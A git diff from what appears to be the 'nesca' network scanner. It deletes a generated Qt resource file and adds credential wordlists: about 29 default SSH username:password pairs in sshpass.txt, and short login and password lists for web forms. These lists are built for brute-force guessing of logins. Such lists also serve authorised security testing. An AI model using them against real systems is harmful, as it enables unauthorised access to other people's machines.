- 0xf3,0x0,0xf0,0x0,0xf4,0x0,0xf5,0x0,0xf6,0x0,0xe8,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0x0,0x0,0x0,0x0,0xe4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
- 0x0,0x0,0xeb,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xe5,0x0,0xec,0xe,0x70,0x65,
- 0x72,0x69,0x6f,0x64,0x63,0x65,0x6e,0x74,0x65,0x72,0x65,0x64,0x6,0x6d,0x61,0x63,
- 0x72,0x6f,0x6e,0x5,0x44,0x65,0x6c,0x74,0x61,0x0,0x0,0x40,0xa,0x3,0x3,0x2,
- 0x2,0x1,0x1,0x0,0x0,0x0,0x30,0xb8,0x1,0x24,0x85,0x1d,0x13,0x0,0x3f,0x3f,
- 0x3f,0x3f,0x1,
-
- 0x0,0x0,0x0,0x91,
- 0x0,
- 0x0,0x4,0x7e,0x78,0x9c,0x63,0x60,0x60,0x4,0x42,0x1,0x1,0x6,0x20,0xa9,0xc0,
- 0x90,0xc1,0xc2,0xc0,0x20,0xc6,0xc0,0xc0,0xa0,0x1,0xc4,0x40,0x21,0xa0,0x8,0x44,
- 0x1c,0x6,0x84,0xb9,0x21,0x98,0x0,0xf8,0x8f,0x3,0x93,0xab,0x8f,0x18,0x73,0x50,
- 0xd4,0xa0,0x3,0x2,0x66,0xe0,0xd4,0x47,0xc0,0x1c,0x14,0xfd,0xb8,0xd4,0xe2,0x31,
- 0x3,0xa7,0xdd,0x24,0xfa,0x5,0xbb,0xbd,0xeb,0x70,0xfb,0x9,0x97,0x7e,0x64,0xbd,
- 0x30,0xfd,0xc4,0x60,0x6a,0xe9,0x27,0xd7,0xfd,0x14,0x84,0x1f,0xa5,0xf1,0x47,0x8d,
- 0xf4,0xc3,0xc0,0x80,0xc7,0x2f,0x38,0xfc,0x8b,0xd,0x50,0x92,0x7f,0x88,0x31,0x7,
- 0x3,0xfc,0x90,0x67,0x60,0x78,0xc0,0xce,0xc0,0x70,0x80,0x99,0x81,0xa1,0x81,0x11,
- 0x82,0x71,0x1,0x98,0x3c,0x48,0x2d,0x48,0xf,0x48,0x2f,0x0,0xc0,0xb0,0xbf,0x70,
-
-
-};
-
-static const unsigned char qt_resource_name[] = {
- // nesca_3
- 0x0,0x7,
- 0x4,0xc9,0x97,0xc3,
- 0x0,0x6e,
- 0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x61,0x0,0x5f,0x0,0x33,
- // Eurostile.ttf
- 0x0,0xd,
- 0x9,0xb6,0x8f,0xc6,
- 0x0,0x45,
- 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x2e,0x0,0x74,0x0,0x74,0x0,0x66,
- // nesca.ico
- 0x0,0x9,
- 0x9,0x94,0xa6,0x1f,
- 0x0,0x6e,
- 0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x61,0x0,0x2e,0x0,0x69,0x0,0x63,0x0,0x6f,
-
-};
-
-static const unsigned char qt_resource_struct[] = {
- // :
- 0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x1,
- // :/nesca_3
- 0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2,
- // :/nesca_3/nesca.ico
- 0x0,0x0,0x0,0x34,0x0,0x1,0x0,0x0,0x0,0x1,0x0,0x0,0x94,0xe8,
- // :/nesca_3/Eurostile.ttf
- 0x0,0x0,0x0,0x14,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0,
-
-};
-
-QT_BEGIN_NAMESPACE
-
-extern Q_CORE_EXPORT bool qRegisterResourceData
- (int, const unsigned char *, const unsigned char *, const unsigned char *);
-
-extern Q_CORE_EXPORT bool qUnregisterResourceData
- (int, const unsigned char *, const unsigned char *, const unsigned char *);
-
-QT_END_NAMESPACE
-
-
-int QT_MANGLE_NAMESPACE(qInitResources_nesca_3)()
-{
- QT_PREPEND_NAMESPACE(qRegisterResourceData)
- (0x01, qt_resource_struct, qt_resource_name, qt_resource_data);
- return 1;
-}
-
-Q_CONSTRUCTOR_FUNCTION(QT_MANGLE_NAMESPACE(qInitResources_nesca_3))
-
-int QT_MANGLE_NAMESPACE(qCleanupResources_nesca_3)()
-{
- QT_PREPEND_NAMESPACE(qUnregisterResourceData)
- (0x01, qt_resource_struct, qt_resource_name, qt_resource_data);
- return 1;
-}
-
-Q_DESTRUCTOR_FUNCTION(QT_MANGLE_NAMESPACE(qCleanupResources_nesca_3))
-
diff --git a/sshpass.txt b/sshpass.txt
index e69de29..b9045a0 100644
--- a/sshpass.txt
+++ b/sshpass.txt
@@ -0,0 +1,29 @@
+hw230f8034t:17932yhf823
+admin:
+root:root
+root:admin
+admin:admin
+admin:root
+backup:backup
+guest:guest
+root:master
+root:1234
+admin:master
+admin:111111
+root:12345
+root:123456
+admin:1234
+admin:12345
+root:12345678
+root:123123
+admin:123456
+admin:12345678
+root:654321
+admin:123123
+admin:654321
+root:password
+admin:pasword
+root:1qazXSW@
+test:test
+:
+user:user
\ No newline at end of file
diff --git a/version b/version
index 819d288..99d0f7b 100644
--- a/version
+++ b/version
@@ -1 +1 @@
-24BE5-713
\ No newline at end of file
+24D18-81
\ No newline at end of file
diff --git a/wflogin.txt b/wflogin.txt
index e69de29..e0ec224 100644
--- a/wflogin.txt
+++ b/wflogin.txt
@@ -0,0 +1,3 @@
+[FAIL]
+admin
+root
\ No newline at end of file
diff --git a/wfpass.txt b/wfpass.txt
index e69de29..8a35d09 100644
--- a/wfpass.txt
+++ b/wfpass.txt
@@ -0,0 +1,10 @@
+[FAIL]
+admin
+root
+pass
+password
+toor
+123123
+123456
+12345
+qwerty
\ No newline at end of file